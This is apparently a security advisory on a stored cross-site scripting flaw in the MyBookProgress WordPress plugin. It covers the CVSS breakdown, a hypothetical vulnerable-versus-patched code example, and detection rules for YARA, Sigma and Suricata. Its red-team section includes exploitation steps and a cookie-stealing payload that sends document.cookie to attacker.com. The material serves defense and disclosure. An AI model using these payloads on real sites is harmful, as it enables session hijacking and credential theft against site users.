CVE-2024-12598

Executive Summary

CVE-2024-12598 is a Stored Cross-Site Scripting (XSS) vulnerability in the MyBookProgress by Stormhill Media WordPress plugin, affecting all versions up to and including 1.0.8. The flaw resides in insufficient input sanitization and output escaping of the book parameter, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. When a user (including administrators) accesses a page containing the injected payload, the script executes in their browser, potentially leading to session hijacking, defacement, or credential theft. The vulnerability is classified as a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx). No public exploit code or patch is currently available.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the ability to execute scripts in the context of any user visiting the page makes it a significant risk for WordPress sites with multiple authors.

Deep Dive & Mechanics

The vulnerability exists in the MyBookProgress plugin's handling of the book parameter, likely used to display book progress data. The plugin fails to sanitize user input and escape output when rendering this parameter in the frontend. An attacker with Contributor-level access (who can create and edit posts) can craft a post or page that includes a shortcode or custom field containing the malicious book parameter. When the page is rendered, the injected JavaScript executes in the browser of any visitor, including site administrators.

Attack Flow:

1. Attacker logs in with Contributor-level credentials.
2. Attacker creates a new post or edits an existing one.
3. Attacker inserts the MyBookProgress shortcode (e.g., [mybookprogress book="<script>alert('XSS')</script>"]).
4. The plugin stores the malicious input without proper sanitization.
5. When any user (including admins) views the post, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical example based on common patterns):

// In mybookprogress.php or similar
function mybookprogress_shortcode($atts) {
    $book = $atts['book'];
    // No sanitization or escaping
    return "<div class='book-progress'>" . $book . "</div>";
}
add_shortcode('mybookprogress', 'mybookprogress_shortcode');

Patched Code (expected fix):

function mybookprogress_shortcode($atts) {
    $book = isset($atts['book']) ? sanitize_text_field($atts['book']) : '';
    // Escape output
    return "<div class='book-progress'>" . esc_html($book) . "</div>";
}
add_shortcode('mybookprogress', 'mybookprogress_shortcode');

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with MyBookProgress plugin <= 1.0.8
• Contributor-level account credentials

Steps:

1. Log in to WordPress as a Contributor.
2. Create a new post or edit an existing one.
3. In the content editor (Text mode), insert the following shortcode:

   [mybookprogress book="<script>alert(document.cookie)</script>"]
   

4. Publish or update the post.
5. When any user visits the post, the JavaScript executes.

Advanced Payload (session hijacking):

[mybookprogress book="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts containing suspicious shortcode parameters (e.g., book= followed by <script> or onerror=).
• Review WordPress logs for unusual post creation/editing by Contributor-level users.
• Use Web Application Firewall (WAF) rules to block XSS patterns in shortcode parameters.

Hardening:

• Disable the MyBookProgress plugin until a patch is released.
• Restrict Contributor-level permissions to only trusted users.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/mybookprogress/mybookprogress.php (version <= 1.0.8)
• Shortcode pattern: [mybookprogress book="<script>...</script>"]
• Network traffic: Outbound requests to attacker-controlled domains from WordPress admin or frontend pages.
• Log entries: Unusual post content containing JavaScript in shortcode parameters.

Detection Engineering

YARA Rule

rule CVE_2024_12598_MyBookProgress_XSS {
    meta:
        description = "Detects stored XSS payloads in MyBookProgress plugin shortcode"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12598"
    strings:
        $shortcode = /\[mybookprogress\s+book\s*=\s*["'][^"']*<script/i
        $payload = /<script[^>]*>.*<\/script>/i
    condition:
        $shortcode and $payload
}

Sigma Rule

title: CVE-2024-12598 MyBookProgress Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via MyBookProgress plugin shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: '/wp-admin/post.php'
        http.body|contains: '[mybookprogress book='
        http.body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12598 MyBookProgress Stored XSS Attempt"; flow:to_server; content:"[mybookprogress book="; nocase; content:"<script"; nocase; within:200; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Review and remove any posts containing suspicious shortcode parameters.
3. Change all passwords for Contributor-level accounts if compromise is suspected.

Long-term Fix:

• Apply the vendor patch when available (currently UNKNOWN).
• Implement input sanitization (sanitize_text_field()) and output escaping (esc_html()) in the plugin code.
• Enforce strict Content Security Policy (CSP) headers.

Workarounds:

• Use a Web Application Firewall (WAF) to block XSS patterns in shortcode parameters.
• Restrict Contributor-level permissions to only trusted users.

Valters IT
DevSecOps & Cyber Threat Intelligence